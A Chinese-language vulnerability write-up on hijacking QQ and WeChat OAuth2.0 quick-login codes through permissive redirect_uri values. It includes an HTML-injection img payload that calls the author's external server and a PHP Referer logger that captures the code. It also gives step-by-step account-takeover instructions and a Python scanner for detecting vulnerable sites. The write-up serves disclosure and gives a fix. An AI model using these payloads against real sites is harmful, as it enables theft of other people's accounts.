OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞

什么是OAuth2.0?

OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。2012年10月,OAuth 2.0协议正式发布为RFC 6749 。

RFC 6749 : https://tools.ietf.org/html/rfc6749

QQ OAuth2.0 流程分析&攻击

国内的很多厂商使用了OAuth2.0的认证方式,这里以QQ为例。

QQ互联 : https://connect.qq.com/intro/login

相信大家在很多网站上都见过如下的登陆界面:

img

可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆,首先以QQ的快捷登陆为例子:

点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8

img

这里因为我的QQ是在电脑上已经登陆了,所以我可以直接进行登陆,这时候进行抓包截取整个流程,

关键流程分析

Request 1:

POST /oauth2.0/authorize HTTP/1.1
Host: graph.qq.com

1 Response:

HTTP/1.1 302 Moved Temporarily
Server: tws
Date: Fri, 09 Feb 2018 11:50:42 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=50
Content-Encoding: gzip
Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664

Request 2:(这个请求表示根据参数code的值进行个人用户凭证生成)

GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1
Host: a.com

2 Response:(setcookie返回用户凭证)

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Connection: close
Set-Cookie: 用户凭证
Location: https://www.a.com/
Cache-Control: max-age=0

这时候我们就可以注意到问题了,请求1产生了一个链接,其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值,而这个链接是生成用户凭证的,所以链接中的参数code也是至关重要的,看到这里我的攻击思路已经产生了:

假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站,那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在 http://a.com 的账号权限。

理想很好,现实残酷:

img

这里QQ做了限制,我不需要去分析QQ关联的全部流程就能知道这里的参数client_id,其实就是 http://a.com 的QQ互联的服务id, http://graph.qq.com 根据client_id获取 http://a.com 的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。

这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的:

img

http://a.com 的二级子域名可以为参数redirect_uri的值,目前我需要解决的就是如何根据 http://a.com 的二级子域名获取到code的值:

1.我有一个HTML注入漏洞

漏洞地址:http://1.a.com/?xss=%3Cimg%20src="http://www.evilchen.cn/getref.php"%3E

getref.php的内容为如下PHP代码:

<?php
file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']);
?>

将漏洞地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

http://1.a.com/?xss=%3Cimg%20src=”http://www.evilchen.cn/getref.php”%3E&code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求[http://www.evilchen.cn/getref.php],那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了

2.我能在其他地方引用外部资源

img

很多厂商都会有社区、论坛等功能,大部分会使用Discuz程序来做,而Discuz确实可以引用外部资源~

这里我使用的图片地址还是 http://www.evilchen.cn/getref.php 然后进行帖子回复。

帖子地址为 http://bbs.a.com/thread-123-1-1.html 将帖子地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求 http://www.evilchen.cn/getref.php 那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了:

img

攻击流程

1.我点击 http://a.com 的QQ登录,获取QQ快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者2.受害者点击QQ头像登录,会跳转到redirect_uri的值(链接),并且携带上code的值

3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)

微信快捷登陆流程

开发平台:https://open.weixin.qq.com/

http://a.com的地址如下:

https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null

微信扫描后会跳转到:

http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF

而只要利用QQ快捷登陆的方法我们一样可以获取到code的值

攻击流程

1.我点击http://a.com的QQ登录,获取微信快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者 2.受害者点开微信扫描,会跳转到redirect_uri的值(链接),并且携带上code的值

3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)

风险检测

我简单的写了个poc,仅仅做风险检测,具体危害可以自行检查~~(PS:这里小编对PoC进行了简单的优化,支持微信跟QQ的快捷登陆风险检测

# -*- coding:utf-8 -*-
# Name: QQ and WeChat OAuth2.0 PoC
# Auther: MSTLab(EvilChen)

import requests,urlparse,urllib

def scan(url):
	url = urllib.unquote(url)
	tempUrl = getValue(url)
	tempDomain = urlparse.urlparse(tempUrl).netloc
	domainA = tempDomain.split('.')
	domainB = tempDomain.replace(domainA[0],"mstlab")
	url = url.replace(tempUrl,"http://" + domainB)
	r = requests.get(url)
	# print url
	if ("redirect uri is illegal" in r.text) or (">redirect_uri" in r.text):
	    print "[*] This Website is safe."
	else:
            print "[*] This Website is vulnerable!"

def getValue(url):
    query = urlparse.urlparse(url).query
    resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri']
    return resUrl

if __name__ == '__main__':
	url = raw_input("URL: ")
	scan(url)

poc的使用方法很简单,只需要复制QQ和微信快捷登陆的链接:

img

经过我们实验室的排查发现存在风险的厂商如下:

img

等国内知名厂商近百家都存在此危害。

修复建议

redirect_uri的值做限制

结尾

文章参考:

http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs

http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785

http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622